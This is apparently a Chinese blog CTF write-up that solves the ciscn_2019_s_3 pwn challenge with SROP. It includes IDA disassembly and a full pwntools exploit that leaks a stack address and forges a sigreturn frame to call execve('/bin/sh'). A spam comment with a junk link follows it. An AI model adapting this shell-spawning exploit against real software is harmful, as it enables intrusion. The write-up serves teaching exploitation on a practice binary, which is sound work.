[SROP] ciscn_2019_s_3题解

  • A+
所属分类:binary 菜鸟笔记

这是一道入门级别的Kernel rop,但是写的时候不小心翻车了,记录一下一些细节。

0x00 分析

首先在IDA中可以发现三个主要的函数

main

text:000000000040051D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040051D                 public main
.text:000000000040051D main            proc near               ; DATA XREF: _start+1D↑o
.text:000000000040051D
.text:000000000040051D var_10          = qword ptr -10h
.text:000000000040051D var_4           = dword ptr -4
.text:000000000040051D
.text:000000000040051D ; __unwind {
.text:000000000040051D                 push    rbp
.text:000000000040051E                 mov     rbp, rsp
.text:0000000000400521                 sub     rsp, 10h
.text:0000000000400525                 mov     [rbp+var_4], edi
.text:0000000000400528                 mov     [rbp+var_10], rsi
.text:000000000040052C                 mov     eax, 0
.text:0000000000400531                 call    vuln
.text:0000000000400536                 nop
.text:0000000000400537                 leave
.text:0000000000400538                 retn
.text:0000000000400538 ; } // starts at 40051D
.text:0000000000400538 main            endp

vuln

.text:00000000004004ED                 public vuln
.text:00000000004004ED vuln            proc near               ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf             = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp-10h]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed

gadget

.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn
.text:00000000004004E1 gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9                 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA                 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB                 pop     rbp
.text:00000000004004EC                 retn
.text:00000000004004EC ; } // starts at 4004D6

在main函数中调用了vuln,然后在vuln中调用了read和write两个系统调用,向rsp-0x10处写入并输出用户可控的内容,存在溢出。

gadget函数没有被直接调用,该函数设置了rax=15并返回,推测可能和系统调用号有关。查到ubuntu18 64位系统调用号15为rt_sigreturn,用于恢复从用户态进入内核态所保存的上下文(即寄存器信息)。详细如下:

[SROP] ciscn_2019_s_3题解

可以发现,这个gadget给了我们一个机会修改寄存器的值去调用execve。

踩坑的地方

注意vuln函数和gadget函数有一个特点,那就是函数末尾没有leave指令,在执行完后不会恢复rbp和rsp状态到上一个栈帧,原先rbp值保存的位置变成了返回地址的位置。

也就是说加入我们在第一次溢出控制返回地址到main函数,再次进入vuln时rsp的值和先前进入rsp的值已经不一样了。假如我们需要泄露栈地址来构造参数的话,这个细节可能引起参数相对位置变化。

针对以上情况,第一次溢出只要直接控制返回地址为vuln,就可以保证rsp的相对位置不变。

栈相关的题往往会出现很多容易忽略的细节,还是需要比较多的经验。

0x01 exp构造

思路

大致思路:

  • 构造第一次溢出,返回地址为vuln,由于write输出的长度比较长,会泄露一些栈上地址。
  • 读取泄露的栈上地址,计算出相对于vule函数的rsp-0x10地址,作为后续保存"/bin/sh",并调用execve的第一个参数rdi的值。
  • 构造FakeFrame:rax=59 (SYS_execve), rdi=binsh_addr, rsi=0, rdx=0, rip=syscall
  • 注意上一步构造FakeFrame的时候不要忘了设置rip,因为即使恢复了上下文寄存器的状态,但是不执行系统调用,也无法getshell!
  • 再次溢出,返回地址设置为gadget函数中第三行的地址(同样是为了不破坏栈上相对位置),然后再返回到syscall去恢复FakeFrame
  • 最后getshell

完整exp

因为用到SigreturnFrame(),所以最好在python2环境下执行脚本

from pwn import *

p = process("bin")
#p = remote("node3.buuoj.cn",29881)
libc = ELF("libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
vuln = 0x4004ED
syscall = 0x400501
gadget = 0x4004DA #make rax=15

payload1 = b"A"*0x10 + p64(vuln)
p.send(payload1)
p.recv(0x20)
stack_leak = u64(p.recv(6).ljust(8,"\x00"))
binsh_addr = stack_leak-280
print("stack_leak: "+hex(stack_leak))
print("binsh_addr: "+hex(binsh_addr))

FakeFrame = SigreturnFrame()
FakeFrame.rax = constants.SYS_execve
FakeFrame.rdi = binsh_addr
FakeFrame.rsi = 0
FakeFrame.rdx = 0
FakeFrame.rip = syscall

payload2 = "/bin/sh\x00" + "B"*8 + p64(gadget) + p64(syscall) + str(FakeFrame)
p.send(payload2)
p.interactive()

SigreturnFrame() 简介:

这个函数用于生成恢复上下文用的FakeFrame,使用前先要设定arch类型,实例化后按需要设置寄存器的值,最后str处理拼接到payload中。

eqqie

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:1   其中:访客  1   博主  0

    • fltrcpmzn fltrcpmzn 0

      [SROP] ciscn_2019_s_3题解
      fltrcpmzn http://www.g0h2ipy4t1lu5xx40cm6m54305y76z9vs.org/
      afltrcpmzn
      [url=http://www.g0h2ipy4t1lu5xx40cm6m54305y76z9vs.org/]ufltrcpmzn[/url]